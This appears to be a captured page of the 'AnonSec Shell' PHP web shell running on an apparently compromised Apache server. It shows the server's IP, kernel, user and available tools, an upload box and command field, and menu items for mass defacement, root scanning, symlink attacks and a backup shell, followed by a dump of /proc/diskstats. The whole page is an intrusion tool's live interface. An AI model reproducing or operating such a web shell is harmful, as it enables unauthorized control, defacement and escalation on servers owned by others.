AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.138   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/diskstats
   7       0 loop0 110542 0 221282 58732 0 0 0 0 0 4752 58716
   7       1 loop1 177433 0 356024 71712 0 0 0 0 0 4776 71700
   7       2 loop2 87805 0 176324 29712 0 0 0 0 0 2472 29704
   7       3 loop3 89504 0 179158 37616 0 0 0 0 0 3192 37604
   7       4 loop4 369340 0 739274 283088 0 0 0 0 0 11648 283052
   7       5 loop5 120453 0 242052 85520 0 0 0 0 0 5756 85516
   7       6 loop6 57 0 132 56 0 0 0 0 0 56 56
   7       7 loop7 135618 0 271830 61432 0 0 0 0 0 4508 61428
   2       0 fd0 0 0 0 0 0 0 0 0 0 0 0
   8       0 sda 2987894 19 376569186 6491740 7394218 9537687 365643696 14323452 0 14862340 20810076
   8       1 sda1 2987744 19 376567986 6491620 7393174 9537687 365643696 14321952 0 14861068 20808444
   8      16 sdb 1008 0 9778 328 596 33074 17302528 247552 0 2764 247880
   8      17 sdb1 654 0 6770 236 596 33074 17302528 247552 0 2676 247788
   7       8 loop8 161732 0 323998 104904 0 0 0 0 0 6164 104900
   7       9 loop9 112507 0 226076 20068 0 0 0 0 0 1540 20060

Anon7 - 2022
AnonSec Team